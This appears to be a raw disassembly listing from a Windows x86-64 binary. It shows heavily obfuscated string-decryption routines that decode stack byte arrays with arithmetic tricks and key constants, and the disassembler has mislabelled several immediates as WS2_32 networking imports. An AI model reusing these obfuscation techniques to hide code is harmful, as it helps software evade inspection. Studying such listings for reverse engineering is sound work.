add dil, 0x3f
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140090615
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x1f
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x1c0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x1c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140090615
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x57
movzx eax, byte [rbp + r10 + 0x1c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140090615
sub r10b, 0x27
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x11
jmp 0x140090612
add r10b, 0x4f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x29
jmp 0x140090602
lea rcx, [rbp + 0x172dc1c]
jmp 0x1400911c3
lea rcx, [rbp + 0xa85d61]
jmp 0x1400911c3
lea rcx, [rbp + 0x1c0]
xor r8d, r8d
lea rdx, [0x1401fcc98]
call fcn.14003a960
test al, al
je 0x14009121c
movss xmm0, dword [0x1401fcc98]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401fcb48], eax
movss xmm1, dword [0x1401fcc9c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401fcb4c], eax
movss xmm0, dword [0x1401fcca0]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401fcb50], eax
call fcn.14000cd80
call fcn.14000d550
call fcn.14000a5d0
cmp dword [0x1401fe800], 2
jne 0x140092c23
mov dword [rbp + 0x7c], 0x42aa0000
mov dword [rbp + 0x80], 0x428c0000
lea rcx, [rbp + 0x7c]
call fcn.14001a7c0
mov dword [rbp + 0x84], 0x438d0000
mov dword [rbp + 0x88], 0x43c10000
mov byte [rbp + 0x220], 0x3b
mov byte [rbp + 0x221], 0x28
mov byte [rbp + 0x222], 0x66
mov byte [rbp + 0x223], 0x67
mov byte [rbp + 0x224], 0x19
mov byte [rbp + 0x225], 0x63
mov byte [rbp + 0x226], 0x1d
mov byte [rbp + 0x227], 0x60
mov byte [rbp + 0x228], 0xf4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x229], xmm0
mov dword [rbp + 0x239], eax
movabs r14, 0x7dd2e5bfc940269e
movabs r15, 0x6c6a13be13415b8e
movabs r13, 0x70c4483e80c10e52
movabs r12, 0x7978b13f5bc073da
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x1d
jae 0x140091f26
movzx r9d, byte [rbp + r10 + 0x220]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140091f1a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140091353
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x52
jmp 0x1400913a0
je 0x140091e9d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140091e0d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140091dda
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140091d93
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140091d6e
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140091d24
nop word [rax + rax]
cmp r8, r10
ja 0x140091f0e
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x1400913d5
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140091412
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140091d01
cmp rbx, rcx
je 0x140091cdc
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140091cba
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140091c9e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140091c70
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140091992
nop
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14009196f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140091947
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140091922
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400918ff
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400918dd
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400918c2
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400918a7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140091888
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14009185b
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140091420
lea rbx, [r8 + 2]
lea r8, [rbx + 0x200]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140091eee
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140091ece
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14009161f
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140091600
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400915e1
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14009180e
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400917c1
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140091780
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14009175a
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140091420
lea rbx, [r8 + 2]
lea r8, [rbx + 9]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140091729
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14009170e
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400916ef
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400916d0
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400916b2
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14009168f
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140091681
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14009165d
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14009163a
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140091420
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 9]
jmp 0x140091420
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140091412
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400913a0
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x140091316
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140091d3e
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
inc r8
dec r10
inc r10
jmp 0x140091303
lea edx, [r10 + 0x38]
mov ecx, 0x3c
jmp 0x140091d77
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140091dad
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x140091df4
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140091df4
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140091e2b
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x140091e56
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140091303
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
mov byte [rbp + r10 + 0x220], dil
inc r10
jmp 0x140091303
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
cmp r8, 0x41
jb 0x140091770
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x58]
jmp 0x140091d3e
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 8
jae 0x140091c2c
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140091b64
lea edx, [r10 - 0x64]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x44
add dil, dl
jmp 0x140091796
lea ecx, [r10 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
lea rax, [r8 + rbx]
cmp rax, 8
je 0x140091c57
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140091a80
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400917db
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140091303
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140091e56
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x140091e2b
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140091df4
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140091df4
movzx r11d, r10b
lea edx, [r11 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x140091dad
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140091303
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140091303
movzx r11d, r10b
lea edx, [r11 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3c
add dil, dl
jmp 0x140091d3e
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x1400919be
lea edx, [r10 - 0x62]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x52
add dil, dl
jmp 0x140091824
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400919f9
lea ecx, [r10 - 0x14]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x74
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140091303
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140091a25
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x140091e56
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140091a51
lea ecx, [r10 - 0x24]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 4
add rbx, r8
jmp 0x140091df4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140091824
lea ecx, [r10 + 0x54]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
dec r10
inc r10
jmp 0x140091303
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140091ab0
movzx r11d, r10b
lea edx, [r11 - 0x1e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2e
add dil, dl
jmp 0x140091d3e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140091adf
lea ecx, [r10 + 0x5a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x76
dec r10
inc r10
jmp 0x140091303
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140091b0f
movzx r11d, r10b
lea edx, [r11 - 0x6a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1a
add dil, dl
jmp 0x140091dad
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140091b38
lea ecx, [r10 + 0xe]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x62
jmp 0x140091df4
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400917db
lea edx, [r10 - 0x7a]
movzx eax, r9b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140091e56
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140091ba2
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140091303
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140091bce
lea edx, [r10 + 0x14]
movzx eax, r9b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140091e56
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140091bfa
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140091df4
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140091796
lea ecx, [r10 + 0x7c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x64
inc r8
dec r10
inc r10
jmp 0x140091303
movzx r11d, r10b
lea edx, [r11 + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x220]
sub dil, al
sub dil, 0x50
add dil, r9b
add dil, dl
jmp 0x140091dad
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140091e28
lea ecx, [r10 + 0x12]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7e
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140091303
lea edx, [r10 - 0x66]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x36
jmp 0x140091e28
lea edx, [r10 + 0x22]
movzx eax, r9b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x140091df4
lea edx, [r10 - 0x56]
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140091303
movzx r11d, r10b
lea edx, [r11 + 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x140091d3e
movzx r11d, r10b
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
sub r11b, 0x6e
movzx eax, r9b
and al, r11b
mov ecx, 1
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x220], cl
inc r8
dec r10
inc r10
jmp 0x140091303
lea edx, [r10 + 0x42]
mov ecx, 0x19
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140091303
movzx r11d, r10b
lea ecx, [r11 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
sub r11b, 0x32
movzx eax, r9b
and al, r11b
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, dil
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x220], cl
add rbx, r8
jmp 0x140091df4
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140091303
lea rdx, [r10 + r13]
movzx r9d, r11b
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x3e
add dil, dl
lea edx, [r10 + 0xa]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x46
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x220], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x220], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140091303
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
mov edx, 5
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140091303
add r10b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140091300
sub r10b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400912e4
lea rcx, [rbp + 0x159f448]
jmp 0x140091f2d
lea rcx, [rbp + 0x5a1ae6]
jmp 0x140091f2d
lea rcx, [rbp + 0x220]
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x84]
call fcn.140009e00
mov byte [rbp + 0x260], 0xd1
mov byte [rbp + 0x261], 0xe4
mov byte [rbp + 0x262], 0xa
mov byte [rbp + 0x263], 0xe4
mov byte [rbp + 0x264], 0xbb
mov byte [rbp + 0x265], 0xbd
mov byte [rbp + 0x266], 0x45
mov byte [rbp + 0x267], 0x49
mov byte [rbp + 0x268], 0xd4
xor eax, eax
mov qword [rbp + 0x269], rax
movabs r14, 0x209c77f18fa249fa
movabs r12, 0xe447479aed7005d6
movabs r13, 0xa30e57b7ce2b71e2
movabs r15, 0x61d567d4aee6ddee
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x11
jae 0x140092bbe
movzx r9d, byte [rbp + r10 + 0x260]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140092bb2
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140092023
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x2a
jmp 0x140092060
je 0x140092b38
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140092ad5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140092a8a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140092a65
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140092a1a
nop dword [rax]
cmp r8, r10
ja 0x140092ba6
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140092095
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400920e0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400929fb
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400929ed
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140092992
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140092973
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140092958
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140092649
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140092637
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14009260f
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400925ee
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400925cb
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400925ac
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140092591
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140092572
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140092553
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140092526
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400920f0
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140092b86
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140092b69
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400922df
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400922c0
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400922a5
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400924dd
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140092490
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140092450
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140092426
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400920f0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400923f9
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400923da
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400923bf
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400923a4
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140092385
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140092366
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140092345
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14009231d
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400922fe
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400920f0
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x20]
jmp 0x1400920f0
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x1400920e0
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092060
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140091fe6
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
movzx r11d, r10b
jmp 0x140092a38
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140091fd3
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
dec r10
inc r10
jmp 0x140091fd3
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
movzx r11d, r10b
jmp 0x1400929ac
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400929d1
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x1400929d4
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x140092aa8
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092af3
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140091fd3
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r10 + 0x260], dil
inc r10
jmp 0x140091fd3
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
cmp r8, 0x10
jb 0x140092440
movzx r11d, r10b
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
mov edx, 0x1e
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140092a38
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x61
jae 0x140092918
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x1400927f9
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092466
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 0x41
je 0x14009293f
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140092724
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
jmp 0x14009249f
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x140091fd3
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092af3
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140092aa8
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x1400929d4
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400929d1
movzx r11d, r10b
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
